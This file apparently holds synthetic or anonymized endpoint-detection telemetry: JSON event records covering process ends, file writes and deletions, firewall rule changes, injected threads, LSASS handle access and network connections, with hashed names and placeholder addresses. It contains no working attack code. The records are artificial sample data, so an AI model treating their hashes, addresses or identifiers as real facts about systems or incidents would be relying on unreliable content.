-{"ExitCode":"0","ParentProcessId":"2000300900003","ContextThreadId":"632014600074400","aip":"216.160.83.56","ConHostId":"6810","UserSid":"S-78552-69545-47377","CycleTime":"380603073","event_platform":"Win","ConHostProcessId":"2000300900003","MaxThreadCount":"7","EventOrigin":"45","ImageSubsystem":"2","id":"f3b8bd9b2757d9904f845a44ff61827fa755","EffectiveTransmissionClass":"3","timestamp":"1743508799999","KernelTime":"0","UserTime":"0","event_simpleName":"EndOfProcess","RawProcessId":"42084","ContextTimeStamp":"1758502938.869","ConfigStateHash":"710307050","ContextProcessId":"5040620588024","SHA256HashData":"f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"8040620588024","Entitlements":"46","name":"e8d15f653d9c08b","ProcessStartTime":"1745927326.269","aid":"3b473364ed16d25221bdb0b435aac52a","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1754418925.502","ConfigStateHash":"710307050","ContextProcessId":"9001004100012","IrpFlags":"1730","ContextThreadId":"560346007270302","MinorFunction":"0","aip":"216.160.83.56","FileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","MajorFunction":"40","Entitlements":"96","name":"a1721c8914da805eb47","EventOrigin":"1","OperationFlags":"0","id":"b43f550a47cfaab7904ddcd4c778b2d7d2e1","FileObject":"0","EffectiveTransmissionClass":"3","aid":"39074f37291ca6f2d189c1e110e04dfc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"} -{"event_simpleName":"FileDeleteInfo","ContextTimeStamp":"1758466867.856","ConfigStateHash":"3440491101","ContextProcessId":"920132208508","ContextThreadId":"549000000070475","aip":"81.2.69.192","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"400800208204","Entitlements":"56","name":"e1326813e53e44b4","EventOrigin":"3","id":"f17c8a57d6ffa5f985caf45f729cb254772a","EffectiveTransmissionClass":"3","aid":"e1a82faad25f1bc57da5f8b7457d9014","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\9134161b\\b169fe25\\44ca.TMP"} -{"Status":"0","event_simpleName":"FileOpenInfo","ContextTimeStamp":"1762335422.843","ConfigStateHash":"9250777000","ContextProcessId":"9011580900835","ContextThreadId":"920000001740500","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","ShareAccess":"7","DesiredAccess":"5040660","TreeId":"250760900008","Entitlements":"26","name":"c4a834c02a00fb","EventOrigin":"3","id":"46a19a602437699cf4aefb060e91441ba891","EffectiveTransmissionClass":"3","aid":"ea08505420aa828a0a52a6eed3c8a196","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"} -{"event_simpleName":"FileRenameInfo","ContextTimeStamp":"1758191223.574","ConfigStateHash":"40820000","ContextProcessId":"50314320728270","SourceFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\49830210.WibuCmActDyn","ContextThreadId":"794611930067120","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"407060334007","Entitlements":"36","name":"f4407c8e4882cbdd","EventOrigin":"3","id":"2d662aa35187373d94203d08fc2e4e7115c6","EffectiveTransmissionClass":"3","aid":"ca48acb776296fd7a6e35ee8c4bbde6d","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP"} -{"event_simpleName":"FileSystemOperationDetectInfo","ContextTimeStamp":"1761719307.584","ConfigStateHash":"710307050","TemplateDisposition":"40","ContextProcessId":"1000790287600","FileSystemOperationType":"3","TemplateInstanceId":"57521","aip":"216.160.83.56","FsOperationClassification":"67","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"6725e7","FsOperationClassificationFlags":"1","PatternId":"24871","ImageFileName":"6725e7","Entitlements":"66","name":"b22ddf4c03b1a8b30f84e33786dd87b","EventOrigin":"1","id":"ad8c2e5d31cff1e8cdc3892a874ba4927d1a","EffectiveTransmissionClass":"3","aid":"ca2eedaa43a7333759deb5a0191c5313","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333\\3ec061.sst"} -{"event_simpleName":"FirewallChangeOption","ContextTimeStamp":"1754850825.482","ConfigStateHash":"900805208","FirewallProfile":"1","ContextProcessId":"3001999016003","aip":"89.160.20.128","FirewallOption":"78415d0f02a966","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"36","name":"bd2f52430b3a6e28fa81dc","EventOrigin":"45","id":"ee4fea12623693e1e2aaf450974ca9068925","FirewallOptionNumericValue":"1","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"FirewallDeleteRule","ContextTimeStamp":"1747634138.862","ConfigStateHash":"900805208","ContextProcessId":"2001999016003","aip":"89.160.20.112","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"73c6cc568a65a7c085e0","EventOrigin":"45","id":"4ee907bd437184018039dbce46b3b7fb9586","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"FirewallSetRule","ContextTimeStamp":"1751555238.829","ConfigStateHash":"900805208","ContextProcessId":"1001999016003","aip":"81.2.69.144","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"26","name":"e6fc8b7f15db47d1f","EventOrigin":"45","id":"b03302898ff47ac683fe0c4e7679c48615d2","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","FirewallRule":"fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\8027a4f5\\97cf27ba\\bc713e9c\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"Options":"94007005","ContextThreadId":"50000395917240","MinorFunction":"0","aip":"216.160.83.56","Information":"1","FileIdentifier":"8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306","FltRelatedObjects":"32460687653001750097","event_platform":"Win","ShareAccess":"5","EventOrigin":"1","FltCompletionContext":"53130800032000003010","id":"92f7671f25cc7e1d6c1c2c3958b4a65c9c49","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"FsPostOpenSnapshotFile","ContextTimeStamp":"1749818799.590","ConfigStateHash":"8080600092","ContextProcessId":"7127089080000","IrpFlags":"2500","HandleCreateAuthenticationId":"830","FltCallbackData":"20591370484490000796","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"3900073","SourceEventUniqueId":"903600070008873043","Entitlements":"96","name":"c7a00dc61cb10ab411c95598","OperationFlags":"0","aid":"d3a1c99f621d3d6474555746950ce9b6","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606\\be8"} -{"aip":"81.2.69.144","event_platform":"Win","TokenType":"2","EventOrigin":"45","InterfaceGuid":"d1c8f153a6a851a17b18fe88f1dbdc9254bf","RpcClientProcessId":"9757071607353","id":"c7017a5199f1e88eb4a44227da2d1a7c8b0d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"HostedServiceStarted","TargetThreadId":"482081070860200","ContextTimeStamp":"1753416061.221","UserName":"f3c32fdf5aef1041","ConfigStateHash":"3440491101","InterfaceVersion":"0","RpcClientThreadId":"415000840610900","AuthenticationId":"903030080","ServiceDisplayName":"8a7cb45","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"6009006000008","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\8a7cb45.dll","RpcOpNum":"60","Entitlements":"76","name":"10e85fd7df0a53c38814f5","aid":"22924ad875ce834067bd29857dc11a92","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"HostedServiceStopped","TargetThreadId":"51930000290120","ContextTimeStamp":"1758159357.606","ConfigStateHash":"3440491101","aip":"89.160.20.112","ServiceDisplayName":"61b6fb","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"2762512126120","Entitlements":"66","name":"c503d72ad653c0dc87f730","EventOrigin":"1","id":"db2dfa574e4ca1c775249f4fae390c93c57f","EffectiveTransmissionClass":"3","aid":"0400bce96c16b71f27978572adb3d4fd","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"TemplateInstanceId":"5008","aip":"89.160.20.112","HttpRequestHeader":"94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b","event_platform":"Win","PatternId":"28450","EventOrigin":"1","id":"5c80fd2a838414022b2f083219c6395b3c6a","ParentCommandLine":"82\\ab7e5c1\\c39d646f.EXE","EffectiveTransmissionClass":"2","timestamp":"1743508799999","HttpInternalSource":"2","event_simpleName":"HttpRequestDetect","ContextTimeStamp":"1754127300.344","UserName":"30d376","ConfigStateHash":"9382309105","ContextProcessId":"4064545006008","HttpUrl":"08cf20/7773b6bd.com/394e821c.html","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE\" /n \"C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx\" /o \"\"","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\033b4ae8\\4813\\440b7488\\0dc8e72.EXE","Entitlements":"36","name":"8d879a136063d7587c6","aid":"561ee5011fb41796a5d3d22ecc19d681","HttpMethod":"1","cid":"4092825518eaf67377a6e4492ae44577"} -{"ModuleCharacteristics":"86","ContextThreadId":"137030102310","aip":"81.2.69.144","OriginalEventTimeStamp":"1749976122.404","SHA1HashData":"9692067083780606753097782045800757094700","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","EventOrigin":"1","id":"f5638ae317f9e090033436354c7cf5d36549","EffectiveTransmissionClass":"3","ModuleSize":"40360682","timestamp":"1743508799999","event_simpleName":"ImageHash","ContextTimeStamp":"1752117943.580","ConfigStateHash":"5900030004","ContextProcessId":"10705000160","MD5HashData":"896a7b972e546354ae731504897bb216","SHA256HashData":"b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9","ConfigBuild":"2c8b.4.1403a74.4f","TargetProcessId":"10705000160","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\42955da6\\10b3abfd\\27b5ee41\\dad56584.exe","Entitlements":"16","name":"dccbe56e7b3","PrimaryModule":"1","aid":"64cded9cf5ef1c609147019ee3184217","SignInfoFlags":"1754009","cid":"4092825518eaf67377a6e4492ae44577"} -{"ThreadStartAddress":"947500501770690","InjectedThreadFlag":"430","ContextThreadId":"140004900194068","aip":"81.2.69.192","event_platform":"Win","UserThread":"1","TargetThreadModule":"\\63dc8ea2\\1c329924.dll","EventOrigin":"1","id":"5677e0f1c2f59a879c8c966e3f2583d1b374","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"InjectedThread","TargetThreadId":"505479000700240","RawProcessId":"7310","ContextTimeStamp":"1749520856.920","ConfigStateHash":"240271348","ContextProcessId":"3006607000981","ThreadStartContext":"5177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3000303437040","Entitlements":"36","name":"367b7572c21bead4","RawThreadId":"5008","aid":"8fb3daf730de8e73c353f0c4137a51b5","SourceThreadStartAddress":"984100382000810","cid":"4092825518eaf67377a6e4492ae44577"} -{"FileOperatorSid":"S-96058-21257-98492","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"1","Size":"58518","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","FileIdentifier":"f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","id":"162ec74e6e37e7616a81feca0a38cbc4e060","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JarFileWritten","ContextTimeStamp":"1762090431.810","ConfigStateHash":"90089570","ContextProcessId":"3097482600003","IrpFlags":"0","SHA256HashData":"c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"45bc1cac0e68ad976","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\4fad1919.jar"} -{"FileOperatorSid":"S-93967-95057-39657-2269-87803-54839-16636","ContextBaseFileName":"939905f021b64c","FileCategory":"6","Size":"5007","MinorFunction":"0","ContextThreadId":"67010543097020","aip":"81.2.69.192","IsOnNetwork":"0","FileIdentifier":"f9187305c797616a091da12f20ae9d2efa91b48088627f5e","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"f1d9633f3c4c1752450748ee02e070b772d4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1750434917.905","ConfigStateHash":"3440491101","ContextProcessId":"568260708421","IrpFlags":"0","AuthenticationId":"9006720370","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"f5ccfb1a5e748e3a1361b9","OperationFlags":"0","aid":"2a5a4e5c2a642c985c06f8a712f54c03","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6\\2d931c68.class"} -{"ThreadStartAddress":"7506925004555","InjectedThreadFlag":"940","ContextThreadId":"7029002010518039","aip":"216.160.83.56","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"5c016fbc5910db79ac911556c19d9efb88c6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaInjectedThread","TargetThreadId":"8976303018009002","RawProcessId":"60037","ThreadStartBytes":"9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de","ContextTimeStamp":"1750712370.441","ConfigStateHash":"1080600092","ContextProcessId":"210000852854060","ThreadStartContext":"7031100880000","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"800000030087834","Entitlements":"36","name":"cad7121649b58818d895","RawThreadId":"50455","aid":"2278e50b41a263c2d8421b5135a380a7","SourceThreadStartAddress":"270106100035044","cid":"4092825518eaf67377a6e4492ae44577"} -{"ValidLifetime":"0","OutOctets":"0","MaxReassemblySize":"0","MediaConnectState":"0","InterfaceMtu":"9560","NlMtu":"0","NetworkGuid":"76f651e25d18ba610cf7770da4e745f9886b","InterfaceAlias":"937aad95bcccd8cfa1a93b7bb9c5a2ead","InDiscards":"0","InBroadcastOctets":"0","InterfaceIndex":"0","InterfaceFlags":"0","PermanentPhysicalAddress":"84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60","DadState":"0","InterfaceType":"0","MinRouterAdvertisementInterval":"0","EventOrigin":"1","MediaType":"46","id":"b1ba5664a59d4ed815268b354ba0a8ca20f4","AddressFamily":"0","LocalIpAddressPipelineSource":"6","ReceiveLinkSpeed":"300785","AccessType":"4","event_simpleName":"LocalIpAddressIP6","PathMtuDiscoveryTimeout":"0","OutDiscards":"0","LocalAddressIP6":"2a02:cf40::1","IpEntryFlags":"0","PreferredLifetime":"0","ConnectionType":"1","DadTransmits":"0","OperStatus":"2","PhysicalAddress":"99-24-19-28-16-80-11-f3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46","RouteOrigin":"0","InUnknownProtos":"0","OutErrors":"0","DirectionType":"0","InOctets":"0","Entitlements":"86","name":"a01d5ce18dcbf077bc4","RouteAge":"0","InUcastOctets":"0","aid":"8b33228d110f333bb96bb91288f6d8ad","cid":"4092825518eaf67377a6e4492ae44577","IfType":"0","OutUcastOctets":"0","RetransmitTime":"0","SuffixOrigin":"0","InMulticastOctets":"0","OutBroadcastOctets":"0","CreationTimeStamp":"","LinkLocalAddressBehavior":"0","aip":"89.160.20.112","BaseReachableTime":"0","InErrors":"0","RouterDiscoveryBehavior":"0","LinkLocalAddressTimeout":"0","RouteMetric":"0","event_platform":"Win","SitePrefixLength":"0","TransmitLinkSpeed":"300785","PhysicalAddressLength":"72","InUcastPkts":"0","EffectiveTransmissionClass":"2","PrefixOrigin":"0","timestamp":"1743508799999","SkipAsSource":"0","AdminStatus":"2","OnLinkPrefixLength":"0","TunnelType":"0","ConfigStateHash":"9968901000","InterfaceDescription":"f59e6603c99b77bc826e67f3133aa91ba4","InterfaceIdentifier":"0","ScopeLevel":"0","PrefixLength":"0","OutUcastPkts":"0","NetworkInterfaceGuid":"c5b6c77ed6710604982c8df8956c7d308373","ScopeZone":"0","ConfigBuild":"2c8b.4.ae3729d.e6","PhysicalMediumType":"0","NetLuidIndex":"0","InNUcastPkts":"0","MaxRouterAdvertisementInterval":"0","Metric":"0","ReachableTime":"0","OutMulticastOctets":"0","OutNUcastPkts":"0"} -{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"9968901000","aip":"89.160.20.128","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","NetLuidIndex":"0","Entitlements":"76","name":"872932933dab2f183b4ce071bd","EventOrigin":"1","id":"46389a39e57e9b858db2074d5f94ec7a526d","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"8b33228d110f333bb96bb91288f6d8ad","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextThreadId":"53282469092040","aip":"81.2.69.142","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"6fa27f66ec6a05ff162d3ee4962108a1518e","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"LsassHandleFromUnsignedModule","ContextTimeStamp":"1752433670.075","ConfigStateHash":"3440491101","ContextProcessId":"617055030004","SHA256HashData":"7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243","ExtendedKeyUsages":"1","FileSigningTime":"1696360530.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"330096244003","DesiredAccess":"2336","ImageFileName":"\\6ba0bd\\6cf19058\\9134161b\\4b9430\\6cf901c9\\d89a3e44.exe","Entitlements":"66","name":"a94954f7ef7b687d2b265ac33c34fe0","aid":"84bd7271911c13b227952666802a3e71","SignInfoFlags":"932000","Object1Type":"85300006300503060726","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""} -{"event_simpleName":"ModifyServiceBinary","ContextTimeStamp":"1758171248.217","ConfigStateHash":"8200073020","ContextProcessId":"603000080603277383","ServiceDescription":"4329d830\\4a6a0a4b\\4b8e4186.dll,-101","ContextThreadId":"108300250532070103","aip":"216.160.83.56","ServiceSecurity":"1c31d/23092a59","ServiceImagePath":"6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5","ServiceDisplayName":"7a476391b5908bfed8e3c37","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ServiceStart":"3","ServiceType":"840","Entitlements":"16","name":"381f30fed8ec4c276ba29","EventOrigin":"1","ServiceFailureActions":"370906160706958900210000200600006090810303901200700052903087003011111111","id":"f65e6994cc640f2778a1b7af2c40ba921473","ServiceErrorControl":"1","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextThreadId":"28260411703000","aip":"216.160.83.56","ShareName":"cb8652cba4df7f900","event_platform":"Win","EventOrigin":"1","InterfaceGuid":"6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c","RpcClientProcessId":"400050400700","id":"c805aeef64230eaf7cd53c8a881aa4e8405a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NetShareSecurityModify","ContextTimeStamp":"1756110899.866","UserName":"5f112a78ce366","ConfigStateHash":"8602068629","ContextProcessId":"409640218507","InterfaceVersion":"230092","AuthenticationId":"830","ShareSecurity":"1c31d/825bda18","ConfigBuild":"2c8b.4.a5bcbac.e6","RpcOpNum":"45","Entitlements":"26","name":"e6b491ccab8fa73b85131f75","aid":"3daf1fabea580837c4adcda08036d084","ShareSecuritySddl":"1c31d/aeb465b9","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextBaseFileName":"b95ddafd92696f0e5a","aip":"216.160.83.56","event_platform":"Win","EventOrigin":"1","id":"0fc45c7ed982785c2b6da8717ddcefdcd273","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1762067162.385","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"6550917119400","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"60181","Entitlements":"56","name":"13f26050a8e2372ba812","aid":"fd2a2839c2fb96079cb3c756f823e196","RemoteAddressIP4":"89.160.20.128","RemoteAddressString":"3b0cf5a207bde73b","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextBaseFileName":"b971114518c9","RemoteAddressIP6":"2a02:cf40::1","aip":"81.2.69.142","event_platform":"Win","EventOrigin":"1","id":"473484e6b33fdbe4e7274bc98a2365ad9e88","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1746290444.357","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"205997984","ConnectionFlags":"0","ContextProcessId":"4093698090473","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"45200","Entitlements":"56","name":"f35a9bcaa84e44df3194","aid":"bfc5af54b43f2802d6e18297ab82e810","RemoteAddressString":"2a02:cf40::1","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"LocalAddressIP4":"89.160.20.128","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1762579185.012","ConfigStateHash":"3440491101","ConnectionFlags":"0","ContextProcessId":"1373030025759","RemotePort":"0","ContextThreadId":"351980000701043","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"73001","Entitlements":"66","name":"3e63bd7ad348fcf149d","EventOrigin":"1","id":"414d7d4c948639bd127ede963b8cd7f205d5","Protocol":"6","EffectiveTransmissionClass":"3","aid":"deb2fe5b3c4891f857b3d5cb68f4d47f","RemoteAddressIP4":"216.160.83.56","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1756453330.351","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"750096004","ConnectionFlags":"0","ContextProcessId":"6002550902534","RemotePort":"0","ContextThreadId":"400604050757015","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"96","name":"32e9d89e356847ad161","EventOrigin":"1","id":"6571a795f2d49a994f8fc3840f9780f9a9d8","Protocol":"6","EffectiveTransmissionClass":"3","aid":"fe88182661659af8a192fac5db624574","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"LocalAddressIP4":"216.160.83.56","ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1749621637.544","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"4700009307800","RemotePort":"60702","aip":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"56","name":"4ccf568bd7cda1587d77b69c3f","EventOrigin":"1","id":"6944305135f71ae54b685de925bc80d24162","Protocol":"6","EffectiveTransmissionClass":"3","aid":"359d1a3764bc9914314c10bbe07b0ee5","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP6","ContextTimeStamp":"1747626245.373","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"2000180444147","RemotePort":"8340","aip":"89.160.20.128","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"7340","Entitlements":"36","name":"0f701c259d2d9d9e15dbcf1339","EventOrigin":"1","id":"2de192320bb03a0e9990059a2895376d0213","Protocol":"45","EffectiveTransmissionClass":"3","aid":"15d126c11ad8c113dec6e819ca553cf7","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextThreadId":"703603693040462","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"990200511957122000670029061067970349454003500200","event_platform":"Win","NewFileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","EventOrigin":"1","id":"3576a8f1eee99ef99a90b644fac69ef96052","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NewExecutableRenamed","ContextTimeStamp":"1758496164.011","ConfigStateHash":"710307050","ContextProcessId":"6670000954191","SourceFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\d5fdc1af\\b62491c6","IrpFlags":"100651","ConfigBuild":"2c8b.4.ae3729d.e6","MajorFunction":"6","Entitlements":"66","name":"b64d07a4710e4a075cd1f1","OperationFlags":"0","aid":"39074f37291ca6f2d189c1e110e04dfc","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"} -{"ContextBaseFileName":"7592a3326e8f","Options":"50000230","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"81.2.69.144","Information":"2","FileIdentifier":"069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"159069fcc959600bb67b1d499fbba75e246f","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1747496883.062","ConfigStateHash":"9080600092","ContextProcessId":"6609070495594","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\447b992c\\d598026\\1c467339.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"4250080","Entitlements":"76","name":"df0d670fd6fc4521a6c960","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\2e00f238.lnk"} 